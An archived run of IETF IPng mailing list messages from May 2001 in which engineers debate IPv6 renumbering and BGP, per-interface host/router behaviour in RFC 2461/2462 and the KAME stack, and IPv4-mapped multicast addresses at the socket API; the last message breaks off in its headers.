Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 1 May 2001, Christian Huitema wrote: > > BGP is bound between two IP addresses. When the IP addresses change > > the BGP peering is lost. > > This is a valid point, which has already been discussed many times on > the list, but is not discussed or even alluded to in RFC 2283. The > solution in IGPs is to use link-local addresses for exchanging IGP > packets; this means that the "peering" in RIP, OSPF or IS-IS will > survive renumbering. This solution is not entirely applicable to BGP. > However, we can probably use a combination of the following: > > 1) Use of link local addresses when BGP peers are directly connected. > 2) Use of site-local addresses when BGP peers belong to the same site. > 3) Use of mobile-IP solutions so that TCP survives renumbering. > 4) Use of IPv4 addresses in multi-protocol environments. [snip] When considering these options, please note that site-local addresses may also need to be renumbered (probably often at the same time when subnetting of global addresses changes). -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 02:58:15 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f449wEIM008059 for ; Fri, 4 May 2001 02:58:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f449wEW7008058 for ipng-dist; Fri, 4 May 2001 02:58:14 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f449w5IM008051 for ; Fri, 4 May 2001 02:58:05 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA10099 for ; Fri, 4 May 2001 02:58:03 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA05351 for ; Fri, 4 May 2001 02:58:01 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id QAA10456; Fri, 4 May 2001 16:57:59 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f449vvN03892; Fri, 4 May 2001 16:57:58 +0700 (ICT) From: Robert Elz To: Pekka Savola cc: Christian Huitema , ipng@sunroof.eng.sun.com Subject: Re: Addresses and BGP (was RE: was a6/aaaa - RA/ND & exchanges) In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 04 May 2001 16:57:57 +0700 Message-ID: <3890.988970277@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Fri, 4 May 2001 11:15:21 +0300 (EEST) From: Pekka Savola Message-ID: | When considering these options, please note that site-local addresses may | also need to be renumbered (probably often at the same time when | subnetting of global addresses changes). This is certainly true, but this is a completely different kind of event. This one is a self-inflicted renumbering requirement, for whatever reason a site has decided that some of its nodes have to be renumbered. This almost always only applies to some of the nodes (a busy subnet is being split into two nets, or whatever). Because of this, the site can plan the event as it likes, give itself any amount of changeover time, and assess the cost/benefit tradeoff of doing the change in the first place. Then, because it is the internal part of the number space that is being altered, it is much less likely that (aside from written forms of particular host addresses) the changes will affect other sites - that is, it isn't very likely that someone will be filtering one subnet of your site and not others without your knowledge, that kind of thing is usually all or nothing. So you're not likely to suffer because of lack of reconfig at other sites. The renumbering that really hurts is the one you're forced into - where you're given a period of N (days/weeks/months) and told that after that your old number will no longer be valid. No options. This isn't to imply that any renumbering is easy - but the (almost always) partial renumber that results in subnet numbers changing is by far the easier one to deal with. Most of us deal with that kind of event quite regularly. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 02:59:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f449xYIM008069 for ; Fri, 4 May 2001 02:59:34 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f449xYA5008068 for ipng-dist; Fri, 4 May 2001 02:59:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from jurassic.eng.sun.com (jurassic [129.146.81.144] (may be forged)) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f449xKIM008061 for ; Fri, 4 May 2001 02:59:20 -0700 (PDT) Received: from buse (buse.France.Sun.COM [129.157.212.11]) by jurassic.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with SMTP id f449x9HD300332; Fri, 4 May 2001 02:59:10 -0700 (PDT) Date: Fri, 4 May 2001 12:02:09 +0200 (MET DST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: Mixed Host/Router behaviour To: Pekka Savola Cc: ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > Now, this would appear to be rather problematic. Some items for a router > include among others setting IsRouter flag in NA's and responding to RS's. > These seem to be usually implemented as global toggles; either the system > is a router or it is not. This seems to be an implementation bug since RFC 2461 says that all the configuration knobs are per interface. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 03:12:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44AC0IM008095 for ; Fri, 4 May 2001 03:12:01 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44AC0gL008094 for ipng-dist; Fri, 4 May 2001 03:12:00 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from jurassic.eng.sun.com (jurassic [129.146.84.31] (may be forged)) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44ABnIM008087 for ; Fri, 4 May 2001 03:11:49 -0700 (PDT) Received: from buse (buse.France.Sun.COM [129.157.212.11]) by jurassic.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with SMTP id f44ABVHD302120; Fri, 4 May 2001 03:11:32 -0700 (PDT) Date: Fri, 4 May 2001 12:14:30 +0200 (MET DST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: RE: multicast IPv4-mapped IPv6 addresses/sockets To: Dave Thaler Cc: Markku Savela , tony@lava.net, ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <5B90AD65A9E8934987DB0C8C076265740526712A@DF-BOWWOW.platinum.corp.microsoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > "::ffff:224.x.x.x" is not a multicast address, per WG consensus, since > it doesn't start with ff... so you must not do that. Clearly the above isn't a multicast on the wire. But from the perspective on the API's use of IPv4-mapped addresses does it make sense to 1) support multicast addresses, and 2) if so what form should they have at the API. I've seen good reasons to support it - one case being porting the java.net socket classes to work over IPv6 and Ipv4 transparent to the application. Thus to me the question is whether we should use the currently defined IPv4-mapped address format and stick IPv4 multicast addresses inside, or define some new address format for "IPv4-mapped multicast addresses". > There is no current specification that allows any type of v4-mapped > multicast addresses, but in my opinion, ff0e::ffff:224.2.127.254 is a > good way to specify it. Isn't there a risk of this creating a perception that the above address should work on the wire in an IPv6 multicast packet? If people end up wanting these to work on the wire then there is a risk of 1) ending up "importing" the IPv4 multicast memberships into IPv6 multicast memberships by prepending ff0e::ffff:/96 2) folks desiring translators between IPv6 and IPv4 which strip/add the above prefix as part of the translation. Thus I see significant risk going down this path since I don't think we want the complexity of pretending to provide easy interoperability between IPv4 and IPv6 multicast. It is bad enough that folks view the complexity of SIIT as being necessary in some deployment. So I'd argue for just sticking IPv4 multicast addresses in ::ffff:0:0/96 at the API and have the implementations which support mapped addresses do the right thing to send/receive IPv4 multicast packets in that case. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 03:21:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44ALqIM008120 for ; Fri, 4 May 2001 03:21:52 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44ALpo6008119 for ipng-dist; Fri, 4 May 2001 03:21:51 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44ALeIM008112 for ; Fri, 4 May 2001 03:21:41 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA22000 for ; Fri, 4 May 2001 03:21:40 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA15336 for ; Fri, 4 May 2001 03:21:38 -0700 (PDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id A5FE54B0B; Fri, 4 May 2001 19:21:36 +0900 (JST) To: Erik Nordmark Cc: Pekka Savola , ipng@sunroof.eng.sun.com In-reply-to: Erik.Nordmark's message of Fri, 04 May 2001 12:02:09 +0200. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Mixed Host/Router behaviour From: itojun@iijlab.net Date: Fri, 04 May 2001 19:21:36 +0900 Message-ID: <8604.988971696@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I may need to reread the whole thread to understand the context, but... >> Now, this would appear to be rather problematic. Some items for a router >> include among others setting IsRouter flag in NA's and responding to RS's. >> These seem to be usually implemented as global toggles; either the system >> is a router or it is not. > >This seems to be an implementation bug since RFC 2461 says that all the >configuration knobs are per interface. could you point me to the text where it is specified as a "per-interface knob"? in KAME stack (I guess Pekka is referring to KAME), per-host "forwarding" flag decides whether it is a router or not (there's no "interface A and B are host, interface C and D are router" kind of configuration), and it affects outgoing IsRouter bit on NS/NA. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 03:27:18 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44ARHIM008163 for ; Fri, 4 May 2001 03:27:18 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44ARHnH008162 for ipng-dist; Fri, 4 May 2001 03:27:17 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44AR6IM008155 for ; Fri, 4 May 2001 03:27:06 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA11856 for ; Fri, 4 May 2001 03:27:06 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA08889 for ; Fri, 4 May 2001 04:59:22 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 163974B0B for ; Fri, 4 May 2001 19:27:03 +0900 (JST) To: ipng@sunroof.eng.sun.com In-reply-to: itojun's message of Fri, 04 May 2001 19:21:36 +0900. <8604.988971696@itojun.org> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Mixed Host/Router behaviour From: itojun@iijlab.net Date: Fri, 04 May 2001 19:27:03 +0900 Message-ID: <8701.988972023@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > I may need to reread the whole thread to understand the context, but... aha, I found the original message. >>> Now, this would appear to be rather problematic. Some items for a router >>> include among others setting IsRouter flag in NA's and responding to RS's. >>> These seem to be usually implemented as global toggles; either the system >>> is a router or it is not. >>This seems to be an implementation bug since RFC 2461 says that all the >>configuration knobs are per interface. > could you point me to the text where it is specified as a > "per-interface knob"? > > in KAME stack (I guess Pekka is referring to KAME), per-host > "forwarding" flag decides whether it is a router or not (there's no > "interface A and B are host, interface C and D are router" kind of > configuration), and it affects outgoing IsRouter bit on NS/NA. we do not implement "partly host, partly router" behavior. also, since RFC2462 basically assumes single-interface host, we do not really care about the following cases: - autoconfigured host with multiple interfaces - chimera (part-host, part-router) node - autoconfigured router we care about the following cases: - autoconfigured host with single interface - manually configrured host - manually configured router for more details, kame IMPLEMENTATION document section 1.4.2. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 04:05:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44B58IM008207 for ; Fri, 4 May 2001 04:05:08 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44B58WU008206 for ipng-dist; Fri, 4 May 2001 04:05:08 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44B4wIM008199 for ; Fri, 4 May 2001 04:04:59 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA01376 for ; Fri, 4 May 2001 04:04:58 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA24244 for ; Fri, 4 May 2001 04:04:56 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id SAA24018; Fri, 4 May 2001 18:04:54 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f44B4qN04125; Fri, 4 May 2001 18:04:53 +0700 (ICT) From: Robert Elz To: itojun@iijlab.net cc: ipng@sunroof.eng.sun.com Subject: Re: Mixed Host/Router behaviour In-Reply-To: <8701.988972023@itojun.org> References: <8701.988972023@itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 04 May 2001 18:04:52 +0700 Message-ID: <4123.988974292@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Fri, 04 May 2001 19:27:03 +0900 From: itojun@iijlab.net Message-ID: <8701.988972023@itojun.org> | we do not implement "partly host, partly router" behavior. That I can understand, it seems like a pretty weird thing to want to me (though conceptually possible, and perhaps even an interesting case to consider in protocol design, not a beast that many people are likely to actually want to use). | also, since RFC2462 basically assumes single-interface host, Huh? I just re-read the thing, and I can't find any assumption like that at all. In fact, the first sentence (after boilerplate, abstract, etc, is...) This document specifies the steps a host takes in deciding how to autoconfigure its interfaces in IP version 6. "interfaces", in the plural. Sure, there are a few places where the wording is perhaps a little loose when view with that possible assumption in mind (which I had never done before I'll admit), eg: If a node determines that its tentative link-local address is not unique, (3rd para, section 4) - which probably really should say If a node determines that the tentative link-local address for one of its interfaces is not unique, and To speed the autoconfiguration process, a host may generate its link-local address (and verify its uniqueness) in parallel with waiting for a Router Advertisement. (last para of section 4, just before section 4.1), which would probably be better written: To speed the autoconfiguration process, a host may generate the link- local addresses for its interfaces (and verify their uniqueness) in parallel with waiting for a Router Advertisment. but everywhere substantive in the spec I could find it always talks of interfaces, and specifies things to be done per interface. eg: 5. PROTOCOL SPECIFICATION Autoconfiguration is performed on a per-interface basis on multicast-capable interfaces. For multihomed hosts, autoconfiguration is performed independently on each interface. which is about as clear as it can be I think that multi-interface hosts are expected to be supported. What leads you to the "assumes a single interface" conclusion? Whatever that is, certainly needs to be fixed. | we do not really care about the following cases: | - autoconfigured host with multiple interfaces You might not care about them, but they seem to work for me? That is, I run KAME, I have nodes set to "autohost" with more than one interface... | - chimera (part-host, part-router) node Understandable. | - autoconfigured router that would be broken (aside from link local autoconfig, and I suspect that works in KAME too). kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 04:56:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44BuLIM008320 for ; Fri, 4 May 2001 04:56:22 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44BuLjj008319 for ipng-dist; Fri, 4 May 2001 04:56:21 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from jurassic.eng.sun.com (jurassic [129.146.81.144] (may be forged)) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44BuAIM008312 for ; Fri, 4 May 2001 04:56:10 -0700 (PDT) Received: from buse (buse.France.Sun.COM [129.157.212.11]) by jurassic.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with SMTP id f44BtwHD310700; Fri, 4 May 2001 04:55:59 -0700 (PDT) Date: Fri, 4 May 2001 13:58:57 +0200 (MET DST) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: Mixed Host/Router behaviour To: itojun@iijlab.net Cc: Erik Nordmark , Pekka Savola , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <8604.988971696@itojun.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > could you point me to the text where it is specified as a > "per-interface knob"? There is only section 6.2.1 on router configuration variables say For each multicast interface: but that list doesn't contain the "isRouter" property (I thought it did). Thus the thing that isn't explicitly stated in the document is that the property of being a Router vs. Host is really a per interface property. (There was some email discussion on this a long time ago and as I recall the conclusion it was viewed too much trouble to make the specfication explicitly call this out as a per-interface property everywhere.) I sure wish it was more clear on this than my re-read of the document indicates. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 04:59:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44BxvIM008337 for ; Fri, 4 May 2001 04:59:57 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44Bxuut008336 for ipng-dist; Fri, 4 May 2001 04:59:56 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44BxkIM008329 for ; Fri, 4 May 2001 04:59:46 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA27582 for ; Fri, 4 May 2001 04:59:44 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA11548 for ; Fri, 4 May 2001 06:32:05 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 8651C4B0B; Fri, 4 May 2001 20:59:34 +0900 (JST) To: Robert Elz Cc: ipng@sunroof.eng.sun.com In-reply-to: kre's message of Fri, 04 May 2001 18:04:52 +0700. <4123.988974292@brandenburg.cs.mu.OZ.AU> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: Mixed Host/Router behaviour From: itojun@iijlab.net Date: Fri, 04 May 2001 20:59:34 +0900 Message-ID: <9336.988977574@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > | also, since RFC2462 basically assumes single-interface host, >Huh? >I just re-read the thing, and I can't find any assumption like that at >all. suppose you have heard RAs from multiple interfaces. there's no guidelines for us to pick which interface from them, for the installation of default route. and things like that. RFC2461 appendix A talks about a host with multiple interfaces, however, the description is not really complete. so i personally feel multi-interface autoconfigured host needs more work in specification side. of course, we can have some configuration variable in implementation and prefer one of the outgoing interface, but... i'm not sure. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 05:46:11 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44CkBIM008413 for ; Fri, 4 May 2001 05:46:11 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44CkANW008412 for ipng-dist; Fri, 4 May 2001 05:46:10 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44Ck1IM008405 for ; Fri, 4 May 2001 05:46:01 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA00873 for ; Fri, 4 May 2001 05:46:02 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA12109 for ; Fri, 4 May 2001 05:46:00 -0700 (PDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id TAA09010; Fri, 4 May 2001 19:45:58 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f44CjvN04390; Fri, 4 May 2001 19:45:58 +0700 (ICT) From: Robert Elz To: itojun@iijlab.net cc: ipng@sunroof.eng.sun.com Subject: Re: Mixed Host/Router behaviour In-Reply-To: <9336.988977574@itojun.org> References: <9336.988977574@itojun.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 04 May 2001 19:45:57 +0700 Message-ID: <4388.988980357@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Fri, 04 May 2001 20:59:34 +0900 From: itojun@iijlab.net Message-ID: <9336.988977574@itojun.org> | suppose you have heard RAs from multiple interfaces. there's no | guidelines for us to pick which interface from them, for the | installation of default route. Any time that can rationally be automated, it should make no real difference (I'd tend to be kind of pragmatic and choose the interface with the RA of best preference, on the assumption than in this environment the RA preferences will be configured alike over all nets - even though it is normally something that is local to a link). But things should work whatever interface is chosen, pick a router, any router (which is able to be picked as a default anyway), and packets should be delivered. Perhaps not optimally, but delivered. In the environments where that isn't true, it shouldn't matter what the kernel thinks is a good default route, as someone is going to have to tell the kernel what it should be using via a "route add". That is, if you have multiple routers each advertising itself as being capable of routing to default (or being a candidate as the default router), and they can't find each other, then something is really stuffed... | so i personally feel multi-interface autoconfigured host needs more | work in specification side. That is very probably true - multi-homing (in all its aspects) has tended to be one of those "we'll figure that out later" problems... | of course, we can have some configuration | variable in implementation and prefer one of the outgoing interface, Perhaps - though if something is to be configurable, it may as well just be the default router itself I think. After all, if the best default router is not available for some reason, why would one assume that the second best router to use is going to be out the same interface? kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 4 05:48:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44CmmIM008428 for ; Fri, 4 May 2001 05:48:48 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f44CmmCt008427 for ipng-dist; Fri, 4 May 2001 05:48:48 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f44CmZIM008420 for ; Fri, 4 May 2001 05:48:36 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA20179 for ; Fri, 4 May 2001 05:48:36 -0700 (PDT) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA13263 for ; Fri, 4 May 2001 05:48:35 -0700 (PDT) Received: from era-t.ericsson.se (koff.ericsson.se [147.214.173.137]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with SMTP id f44CmXO19474; Fri, 4 May 2001 14:48:34 +0200 (MEST) Received: from era.ericsson.se by era-t.ericsson.se (SMI-8.6/LME-DOM-2.2.5(ERA/T)) id OAA10618; Fri, 4 May 2001 14:48:31 +0200 Message-ID: <3AF2A4E5.F6910E71@era.ericsson.se> Date: Fri, 04 May 2001 14:47:33 +0200 From: Mattias Pettersson Organization: Ericsson Research X-Mailer: Mozilla 4.76 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: itojun@iijlab.net CC: Robert Elz , 